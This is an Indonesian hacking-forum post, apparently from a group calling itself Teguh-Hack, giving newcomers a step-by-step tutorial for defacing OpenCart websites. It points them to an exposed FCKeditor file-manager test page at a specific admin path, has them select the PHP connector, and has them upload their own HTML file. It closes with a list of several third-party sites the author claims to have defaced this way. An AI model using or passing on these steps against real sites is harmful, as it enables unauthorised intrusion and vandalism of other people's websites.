[_.:Teguh-Hack:._]

nh Tutorial Deface Remote File Upload powered by opencart
tutorial ini cocok buat newbie,awam,etc.

Quote

bisa juga dgn trget www.target.com/pacth/ itu kalo dpt trget yg ad di /patch/ nya..
Cth: http://www.target.com/patch/
kalo udah dpet targetnya, langsung aja pasang exploitnya

admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

hasilnya jadi kaya gini :
cth: http://iphoneclone.b...ctors/test.html

jika target ada /patch/ nya , inject exploitnya di belakang /pacth/
cth : www.target.com/patch/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

kalo udah di situ ada tempat upload file nya
konektornya pilih PHP, terus upload dah file Html nya
kalo berhasil ada alert kaya gini "file uploaded with no errors"
terus kalo udah berhasil klik "Get Folders and Files"
SS :


selesai sekarang kamu bisa liat hasilnya...

cth hasil yg saya buat :
http://iphoneclone.biz/XyonJR.html
http://www.livrariad...e.org/Xyon.html
http://www.keltecsub2000.com/Xyon.html
http://tamikoshop.com/Xyon.html
http://dagang.asia/Xyon.html
http://tamikoshop.com/Xyon.html

NB : file yg kita upload nggak bisa timpa file terdahulu, ntar hasilnya jadi duplikat file(1).html or file(2).html..
sekian...